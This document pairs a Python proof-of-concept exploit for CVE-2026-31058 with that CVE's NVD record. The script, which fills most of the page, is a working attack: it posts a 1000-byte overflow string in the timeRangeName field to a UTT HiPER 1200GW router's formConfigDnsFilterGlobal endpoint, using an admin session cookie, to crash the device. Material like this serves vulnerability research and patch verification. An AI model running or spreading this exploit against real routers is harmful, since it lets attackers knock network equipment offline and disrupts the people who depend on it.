CVE-2026-31058

import requests def exploit(target_ip, session_cookie): # Target endpoint based on vulnerability description url = f"http://{target_ip}/goform/formConfigDnsFilterGlobal" # Headers to simulate a legitimate browser request headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } # Payload: A long string to trigger buffer overflow in 'timeRangeName' # Adjust the length (e.g., 1000 bytes) based on the specific buffer size overflow_payload = "A" * 1000 # Data to be sent in the POST request data = { "timeRangeName": overflow_payload, "action": "save" } # Cookies for authentication (High Privileges required) cookies = { "uid": session_cookie } try: print(f"[+] Sending payload to {target_ip}...") response = requests.post(url, headers=headers, data=data, cookies=cookies, timeout=5) if response.status_code == 200: print("[+] Payload sent successfully.") print("[!] Check if the device has crashed or rebooted.") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") print("[!] This might indicate a successful DoS (device unresponsive).") if __name__ == "__main__": # Replace with actual target IP and valid session cookie target = "192.168.1.1" cookie = "valid_admin_session_id_here" exploit(target, cookie)

{"cve": {"id": "CVE-2026-31058", "sourceIdentifier": "[email protected]", "published": "2026-04-06T15:17:08.090", "lastModified": "2026-04-10T18:22:46.667", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "UTT Aggressive HiPER 1200GW v2.5.3-170306 was discovered to contain a buffer overflow in the timeRangeName parameter of the formConfigDnsFilterGlobal function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted input."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:utt:1200gw_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.5.3-170306", "matchCriteriaId": "E6B9088C-B1D0-4CA9-8E97-D302F0FA3BB8"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:utt:1200gw:-:*:*:*:*:*:*:*", "matchCriteriaId": "DEDA8150-432A-4F7E-89DC-041B1607D53B"}]}]}], "references": [{"url": "https://github.com/zxq0408/Vul202601/blob/main/2.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}